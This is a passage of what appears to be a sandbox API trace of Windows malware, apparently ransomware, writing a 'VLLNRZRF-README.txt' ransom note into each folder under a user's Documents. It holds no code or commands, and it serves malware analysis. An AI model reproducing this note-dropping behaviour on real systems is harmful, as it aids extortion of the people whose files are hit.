ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0099.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0099.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x44 [0099.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0099.294] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my music\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x468 [0099.295] GetFileType (hFile=0x468) returned 0x1 [0099.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0099.295] GetFileType (hFile=0x468) returned 0x1 [0099.295] SetFilePointer (in: hFile=0x468, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0099.295] WriteFile (in: hFile=0x468, lpBuffer=0x22621d8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22621d8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0099.296] CloseHandle (hObject=0x468) returned 1 [0099.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x47 [0099.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0099.355] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my pictures\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0099.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0099.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x47 [0099.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0099.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my pictures\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x454 [0099.356] GetFileType (hFile=0x454) returned 0x1 [0099.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0099.356] GetFileType (hFile=0x454) returned 0x1 [0099.356] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0099.356] WriteFile (in: hFile=0x454, lpBuffer=0x2266a08*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2266a08*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0099.358] CloseHandle (hObject=0x454) returned 1 [0099.370] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x45 [0099.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0099.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0099.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0099.370] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x45 [0099.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0099.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4b0 [0099.373] GetFileType (hFile=0x4b0) returned 0x1 [0099.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0099.373] GetFileType (hFile=0x4b0) returned 0x1 [0099.373] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0099.374] WriteFile (in: hFile=0x4b0, lpBuffer=0x226b8f8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x226b8f8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0099.375] CloseHandle (hObject=0x4b0) returned 1 [0099.386] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4e [0099.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0099.387] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0099.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0099.387] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4e [0099.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0099.387] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4c8 [0099.387] GetFileType (hFile=0x4c8) returned 0x1 [0099.387] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0099.387] GetFileType (hFile=0x4c8) returned 0x1 [0099.388] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0099.388] WriteFile (in: hFile=0x4c8, lpBuffer=0x22702e8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22702e8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0099.389] CloseHandle (hObject=0x4c8) returned 1 [0099.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x45 [0099.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0099.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my videos\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0099.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0099.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x45 [0099.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0099.400] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my videos\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4e0 [0099.401] GetFileType (hFile=0x4e0) returned 0x1 [0099.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0099.401] GetFileType (hFile=0x4e0) returned 0x1 [0099.401] SetFilePointer (in: hFile=0x4e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0099.401] WriteFile (in: hFile=0x4e0, lpBuffer=0x2274af0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2274af0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0099.402] CloseHandle (hObject=0x4e0) returned 1 [0099.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x49 [0099.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0099.422] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0099.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0099.422] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x49 [0099.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0099.422] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4f8 [0099.423] GetFileType (hFile=0x4f8) returned 0x1 [0099.423] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0099.423] GetFileType (hFile=0x4f8) returned 0x1 [0099.423] SetFilePointer (in: hFile=0x4f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0099.423] WriteFile (in: hFile=0x4f8, lpBuffer=0x2279c58*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2279c58*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0099.426] CloseHandle (hObject=0x4f8) returned 1 [0099.781] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x45 [0099.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0099.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0099.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0099.781] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x45 [0099.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0099.781] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x508 [0099.782] GetFileType (hFile=0x508) returned 0x1 [0099.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0099.782] GetFileType (hFile=0x508) returned 0x1 [0099.782] SetFilePointer (in: hFile=0x508, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0099.782] WriteFile (in: hFile=0x508, lpBuffer=0x22eccf0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22eccf0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0099.828] CloseHandle (hObject=0x508) returned 1 [0101.176] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4e [0101.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0101.176] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0101.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0101.177] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4e [0101.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0101.178] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4d4 [0101.178] GetFileType (hFile=0x4d4) returned 0x1 [0101.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0101.178] GetFileType (hFile=0x4d4) returned 0x1 [0101.178] SetFilePointer (in: hFile=0x4d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0101.179] WriteFile (in: hFile=0x4d4, lpBuffer=0x229b318*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x229b318*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0101.180] CloseHandle (hObject=0x4d4) returned 1 [0101.497] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x5c [0101.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0101.497] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0101.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0101.497] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x5c [0101.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0101.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4dc [0101.498] GetFileType (hFile=0x4dc) returned 0x1 [0101.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0101.498] GetFileType (hFile=0x4dc) returned 0x1 [0101.498] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0101.498] WriteFile (in: hFile=0x4dc, lpBuffer=0x225e538*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x225e538*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0101.499] CloseHandle (hObject=0x4dc) returned 1 [0101.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x68 [0101.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0101.590] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\9yzoocnudxa9o\\cogmpqr644o\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0101.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0101.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\9YzooCNUDxA9o\\cogMpQr644O\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x68 [0101.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0101.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 